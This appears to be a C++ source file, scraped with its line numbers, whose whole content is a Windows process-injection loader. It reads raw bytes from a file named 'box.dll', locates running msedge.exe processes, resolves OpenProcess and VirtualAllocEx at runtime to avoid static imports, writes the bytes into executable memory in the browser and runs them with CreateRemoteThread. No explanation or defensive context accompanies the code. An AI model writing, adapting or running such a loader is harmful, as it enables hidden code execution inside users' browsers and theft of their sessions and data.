1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85
| #include<fstream> #include<iostream> #include<Windows.h> #include <tlhelp32.h> using namespace std;
typedef HANDLE(WINAPI* fn_OpenProcess)( _In_ DWORD dwDesiredAccess, _In_ BOOL bInheritHandle, _In_ DWORD dwProcessId ); typedef LPVOID(WINAPI* fn_VirtualAllocEx)( _In_ HANDLE hProcess, _In_opt_ LPVOID lpAddress, _In_ SIZE_T dwSize, _In_ DWORD flAllocationType, _In_ DWORD flProtect );
void createThreadTest() { char filename[] = "box.dll"; ifstream infile; infile.open(filename, ios::out | ios::binary); infile.seekg(0, infile.end); int length = infile.tellg(); infile.seekg(0, infile.beg); char* data = new char[length]; if (infile.is_open()) { cout << "reading from the file" << endl; infile.read(data, length); } HANDLE snapshot_handle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (snapshot_handle != INVALID_HANDLE_VALUE) { PROCESSENTRY32 process_entry; process_entry.dwSize = sizeof(PROCESSENTRY32); if (Process32First(snapshot_handle, &process_entry)) { do { std::wstring extFileName(process_entry.szExeFile); if (extFileName.find(L"msedge.exe") != std::string::npos) { fn_OpenProcess myOpenProcess = (fn_OpenProcess)GetProcAddress(LoadLibraryA("kernel32.dll"), "OpenProcess"); HANDLE process_handle = myOpenProcess(PROCESS_ALL_ACCESS, FALSE, process_entry.th32ProcessID); if (process_handle != NULL) { fn_VirtualAllocEx myVirtualAllocEx = (fn_VirtualAllocEx)GetProcAddress(LoadLibraryA("kernel32.dll"), "VirtualAllocEx"); LPVOID remote_buffer =myVirtualAllocEx(process_handle, NULL, length, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (remote_buffer != NULL) { SIZE_T bytes_written; if (WriteProcessMemory(process_handle, remote_buffer, data, length, &bytes_written)) { std::cout << "Remote buffer address: " << remote_buffer << std::endl;
HANDLE remote_thread = CreateRemoteThread(process_handle, NULL, 0, (LPTHREAD_START_ROUTINE)remote_buffer, NULL, 0, NULL); if (remote_thread != NULL) { WaitForSingleObject(remote_thread, INFINITE); CloseHandle(remote_thread); } } CloseHandle(remote_buffer); } CloseHandle(process_handle); } } } while (Process32Next(snapshot_handle, &process_entry)); } CloseHandle(snapshot_handle); } }
int main() { createThreadTest(); return 0; }
|